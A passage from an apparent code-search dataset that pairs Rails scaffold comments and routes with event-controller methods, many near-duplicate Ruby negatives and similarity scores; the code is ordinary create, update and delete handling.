|format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.75299805", "0.7372486", "0.71766764", "0.7172103", "0.7170955", "0.71424884", "0.70959055", "0.7082709", "0.7082709", "0.7057662", "0.70209146", "0.6989379", "0.69825095", "0.69775003", "0.69601995", "0.6954494", "0.6954494", "0.6951992", "0.692109", "0.692109", "0.692109", "0.692109", "0.692109", "0.692109", "0.692109", "0.692109", "0.692109", "0.69159144", "0.6893937", "0.68830234", "0.68787163", "0.68631184", "0.68579584", "0.6854905", "0.68530035", "0.68461853", "0.68461853", "0.68461853", "0.6839517", "0.6839378", "0.6835066", "0.68241036", "0.681631", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.68139076", "0.681159", "0.68073547", "0.679286", "0.679286", "0.679286", "0.679286", "0.679286", "0.679286", "0.679286", "0.679286", "0.6789041", "0.67812467", "0.67756975", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907", "0.67662907" ]
0.0
-1
DELETE /events/1 DELETE /events/1.json
def destroy @event.destroy respond_to do |format| format.html { redirect_to events_url, notice: 'Event was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @event = Event.using(:shard_one).find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete_event\n if params[:id]\n @e = Evento.find(params[:id]).destroy\n end\n render :json => msj = { :status => true, :message => 'ok'}\n end", "def destroy\n @event = Event.find(params[:id])\n \n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n #@event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n # @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @events = Event.where(event_id: params[:id])\n @events.each.destroy\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n\n end", "def destroy\n @event_event = Event::Event.find(params[:id])\n @event_event.destroy\n\n respond_to do |format|\n format.html { redirect_to event_events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url}\n format.json { head :no_content }\n end\n end", "def destroy\n @myevent = Myevent.find(params[:id])\n @myevent.destroy\n\n respond_to do |format|\n format.html { redirect_to myevents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n\n sync_destroy @event\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html {redirect_to events_url}\n format.json {head :no_content}\n end\n end", "def destroy\n @calevent = Calevent.find(params[:id])\n @calevent.destroy\n\n respond_to do |format|\n format.html { redirect_to calevents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n #@event.update_attribute(:deleted, true)\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n render :nothing => true, :status => 200, :content_type => 'text/plain'\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url, notice: t(:event_deleted) }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_events_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n head :no_content\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Event was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url, notice: 'データが削除されました。' }\n format.json { head :no_content }\n end\n end", "def delete_event\r\n event = Event.find_by(id: params[:eventid].to_i)\r\n if event.present?\r\n event.update(status: 3)\r\n lt_update_event_status event, 'archived'\r\n render json: SuccessResponse.new(\r\n code: 200,\r\n message: 'Event Deleted.'\r\n ), adapter: :json, status: :ok\r\n else\r\n render json: ErrorResponse.new(\r\n code: 404,\r\n message: 'Event not found!'\r\n ), adapter: :json, status: :not_found\r\n end\r\n\r\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url, notice: 'Event was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url, notice: 'Event was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url, notice: 'Event was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @client = Client.find(@event.client_id)\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_to_client_path(@client) }\n format.json { head :no_content }\n end\n end", "def destroy\n @event_request = EventRequest.find(params[:id])\n @event_request.destroy\n\n respond_to do |format|\n format.html { redirect_to event_requests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url, notice: 'Мероприятие успешно удалено.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = current_user.events.find_by_url(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @post_event.destroy\n respond_to do |format|\n format.html { redirect_to post_events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = @current_account.events.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @evento = Evento.find(params[:id])\n @evento.destroy\n\n respond_to do |format|\n format.html { redirect_to eventos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url, notice: 'Event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @eventtype.events.each do |e|\n e.destroy\n end\n @eventtype.destroy\n respond_to do |format|\n format.html { redirect_to eventtypes_url }\n format.json { head :no_content }\n end\n end", "def destroy \n @event.destroy \n respond_to do |format|\n format.html { redirect_to events_url, success: 'Event was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.mobile { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @create_event = CreateEvent.find(params[:id])\n @create_event.destroy\n\n respond_to do |format|\n format.html { redirect_to create_events_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7693312", "0.7688612", "0.7688612", "0.7688612", "0.7681831", "0.75866115", "0.7569791", "0.75618947", "0.7541904", "0.7541593", "0.7541593", "0.7541593", "0.7541593", "0.7541593", "0.7541593", "0.7541593", "0.7541593", "0.7541593", "0.7541593", "0.7541593", "0.7541025", "0.75394696", "0.75384766", "0.7527803", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7520592", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7515701", "0.7496523", "0.7466048", "0.7460556", "0.7454548", "0.7447739", "0.7441726", "0.7440906", "0.7435793", "0.7433319", "0.7402814", "0.7388846", "0.737875", "0.73730844", "0.7366537", "0.73393524", "0.73362875", "0.73362875", "0.732372", "0.73015976", "0.7297929", "0.729131", "0.72909325", "0.7290008", "0.72885895", "0.7286004", "0.7284448", "0.7283535", "0.7273361", "0.72704494" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_event @event = Event.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def setup_handler\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def setup\n #implement in subclass;\n end", "def after_set_callback; end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", 